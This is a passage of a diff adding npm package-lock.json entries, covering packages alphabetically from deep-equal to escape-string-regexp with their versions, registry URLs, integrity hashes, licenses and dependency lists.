"sha512-ZIwpnevOurS8bpT4192sqAowWM76JDKSHYzMLty3BZGSswgq6pBaH3DhCSW5xVAZICZyKdOBPjwww5wfgT/6PA==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.0", + "call-bind": "^1.0.5", + "es-get-iterator": "^1.1.3", + "get-intrinsic": "^1.2.2", + "is-arguments": "^1.1.1", + "is-array-buffer": "^3.0.2", + "is-date-object": "^1.0.5", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "isarray": "^2.0.5", + "object-is": "^1.1.5", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.5.1", + "side-channel": "^1.0.4", + "which-boxed-primitive": "^1.0.2", + "which-collection": "^1.0.1", + "which-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-gateway": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/default-gateway/-/default-gateway-6.0.3.tgz", + "integrity": "sha512-fwSOJsbbNzZ/CUFpqFBqYfYNLj1NbMPm8MMCIzHjC83iSJRBEGmDUxU+WP661BaBQImeC2yHwXtz+P/O9o+XEg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "execa": "^5.0.0" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", + "integrity": "sha512-Ds09qNh8yw3khSjiJjiUInaGX9xlqZDY7JVryGxdxV7NPeuqQfplOpQ66yJFZut3jLa5zOwkXw1g9EI2uKh4Og==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/destroy": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz", + "integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/detect-newline": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", + "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", + "dev": true, + "license": "MIT" + }, + "node_modules/detect-port-alt": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/detect-port-alt/-/detect-port-alt-1.1.6.tgz", + "integrity": "sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "address": "^1.0.1", + "debug": "^2.6.0" + }, + "bin": { + "detect": "bin/detect-port", + "detect-port": "bin/detect-port" + }, + "engines": { + "node": ">= 4.2.1" + } + }, + "node_modules/detect-port-alt/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/detect-port-alt/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true, + "license": "MIT" + }, + "node_modules/didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/diff-match-patch": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/diff-match-patch/-/diff-match-patch-1.0.5.tgz", + "integrity": "sha512-IayShXAgj/QMXgB0IWmKx+rOPuGMhqm5w6jvFxmVenXKIzRqTAAsbBPT3kWQeGANj3jGgvcvv4yK6SxqYmikgw==", + "license": "Apache-2.0" + }, + "node_modules/diff-sequences": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz", + "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true, + "license": "MIT" + }, + "node_modules/dns-packet": { + "version": "5.6.1", + "resolved": "https://registry.npmjs.org/dns-packet/-/dns-packet-5.6.1.tgz", + "integrity": "sha512-l4gcSouhcgIKRvyy99RNVOgxXiicE+2jZoNmaNmZ6JXiGajBOJAesk1OBlJuM5k2c+eudGdLxDqXuPCKIj6kpw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@leichtgewicht/ip-codec": "^2.0.1" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/doctrine": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-3.0.0.tgz", + "integrity": "sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "esutils": "^2.0.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/dom-accessibility-api": { + "version": "0.5.16", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", + "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==", + "dev": true, + "license": "MIT" + }, + "node_modules/dom-converter": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/dom-converter/-/dom-converter-0.2.0.tgz", + "integrity": "sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==", + "dev": true, + "license": "MIT", + "dependencies": { + "utila": "~0.4" + } + }, + "node_modules/dom-helpers": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz", + "integrity": "sha512-nRCa7CK3VTrM2NmGkIy4cbK7IZlgBE/PYMn55rrXefr5xXDP0LdtfPnblFDoVdcAfslJ7or6iqAUnx0CCGIWQA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.8.7", + "csstype": "^3.0.2" + } + }, + "node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "dev": true, + "license": "MIT", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "BSD-2-Clause" + }, + "node_modules/domexception": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz", + "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==", + "deprecated": "Use your platform's native DOMException instead", + "dev": true, + "license": "MIT", + "dependencies": { + "webidl-conversions": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/domexception/node_modules/webidl-conversions": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz", + "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=8" + } + }, + "node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/dot-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/dot-case/-/dot-case-3.0.4.tgz", + "integrity": "sha512-Kv5nKlh6yRrdrGvxeJ2e5y2eRUpkUosIW4A2AS38zwSz27zu7ufDwQPi5Jhs3XAlGNetl3bmnGhQsMtkKJnj3w==", + "dev": true, + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/dotenv": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-10.0.0.tgz", + "integrity": "sha512-rlBi9d8jpv9Sf1klPjNfFAuWDjKLwTIJJ/VxtoTwIR6hnZxcEOQCZg2oIL3MWBYw5GpUDKOEnND7LXTbIpQ03Q==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=10" + } + }, + "node_modules/dotenv-expand": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-5.1.0.tgz", + "integrity": "sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/duplexer": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz", + "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==", + "dev": true, + "license": "MIT" + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "dev": true, + "license": "MIT" + }, + "node_modules/ejs": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz", + "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.331", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.331.tgz", + "integrity": "sha512-IbxXrsTlD3hRodkLnbxAPP4OuJYdWCeM3IOdT+CpcMoIwIoDfCmRpEtSPfwBXxVkg9xmBeY7Lz2Eo2TDn/HC3Q==", + "dev": true, + "license": "ISC" + }, + "node_modules/emittery": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.8.1.tgz", + "integrity": "sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/emittery?sponsor=1" + } + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true, + "license": "MIT" + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/enhanced-resolve": { + "version": "5.20.1", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.20.1.tgz", + "integrity": "sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.3.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "dev": true, + "license": "BSD-2-Clause", + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/error-ex": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.4.tgz", + "integrity": "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-arrayish": "^0.2.1" + } + }, + "node_modules/error-stack-parser": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/error-stack-parser/-/error-stack-parser-2.1.4.tgz", + "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "stackframe": "^1.3.4" + } + }, + "node_modules/es-abstract": { + "version": "1.24.1", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.1.tgz", + "integrity": "sha512-zHXBLhP+QehSSbsS9Pt23Gg964240DPd6QCf8WpkqEXxQ7fhdZzYsocOr5u7apWonsS5EjZDmTF+/slGMyasvw==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.2", + "arraybuffer.prototype.slice": "^1.0.4", + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "data-view-buffer": "^1.0.2", + "data-view-byte-length": "^1.0.2", + "data-view-byte-offset": "^1.0.1", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "es-set-tostringtag": "^2.1.0", + "es-to-primitive": "^1.3.0", + "function.prototype.name": "^1.1.8", + "get-intrinsic": "^1.3.0", + "get-proto": "^1.0.1", + "get-symbol-description": "^1.1.0", + "globalthis": "^1.0.4", + "gopd": "^1.2.0", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "internal-slot": "^1.1.0", + "is-array-buffer": "^3.0.5", + "is-callable": "^1.2.7", + "is-data-view": "^1.0.2", + "is-negative-zero": "^2.0.3", + "is-regex": "^1.2.1", + "is-set": "^2.0.3", + "is-shared-array-buffer": "^1.0.4", + "is-string": "^1.1.1", + "is-typed-array": "^1.1.15", + "is-weakref": "^1.1.1", + "math-intrinsics": "^1.1.0", + "object-inspect": "^1.13.4", + "object-keys": "^1.1.1", + "object.assign": "^4.1.7", + "own-keys": "^1.0.1", + "regexp.prototype.flags": "^1.5.4", + "safe-array-concat": "^1.1.3", + "safe-push-apply": "^1.0.0", + "safe-regex-test": "^1.1.0", + "set-proto": "^1.0.0", + "stop-iteration-iterator": "^1.1.0", + "string.prototype.trim": "^1.2.10", + "string.prototype.trimend": "^1.0.9", + "string.prototype.trimstart": "^1.0.8", + "typed-array-buffer": "^1.0.3", + "typed-array-byte-length": "^1.0.3", + "typed-array-byte-offset": "^1.0.4", + "typed-array-length": "^1.0.7", + "unbox-primitive": "^1.1.0", + "which-typed-array": "^1.1.19" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-array-method-boxes-properly": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz", + "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-get-iterator": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/es-get-iterator/-/es-get-iterator-1.1.3.tgz", + "integrity": "sha512-sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.3", + "has-symbols": "^1.0.3", + "is-arguments": "^1.1.1", + "is-map": "^2.0.2", + "is-set": "^2.0.2", + "is-string": "^1.0.7", + "isarray": "^2.0.5", + "stop-iteration-iterator": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/es-iterator-helpers": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.3.1.tgz", + "integrity": "sha512-zWwRvqWiuBPr0muUG/78cW3aHROFCNIQ3zpmYDpwdbnt2m+xlNyRWpHBpa2lJjSBit7BQ+RXA1iwbSmu5yJ/EQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.24.1", + "es-errors": "^1.3.0", + "es-set-tostringtag": "^2.1.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.3.0", + "globalthis": "^1.0.4", + "gopd": "^1.2.0", + "has-property-descriptors": "^1.0.2", + "has-proto": "^1.2.0", + "has-symbols": "^1.1.0", + "internal-slot": "^1.1.0", + "iterator.prototype": "^1.1.5", + "math-intrinsics": "^1.1.0", + "safe-array-concat": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.0.0.tgz", + "integrity": "sha512-5POEcUuZybH7IdmGsD8wlf0AI55wMecM9rVBTI/qEAy2c1kTOm3DjFYjrBdI2K3BaJjJYfYFeRtM0t9ssnRuxw==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-shim-unscopables": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz", + "integrity": "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-to-primitive": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz", + "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-callable": "^1.2.7", + "is-date-object": "^1.0.5", + "is-symbol": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "dev": true, + "license": "MIT" + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": 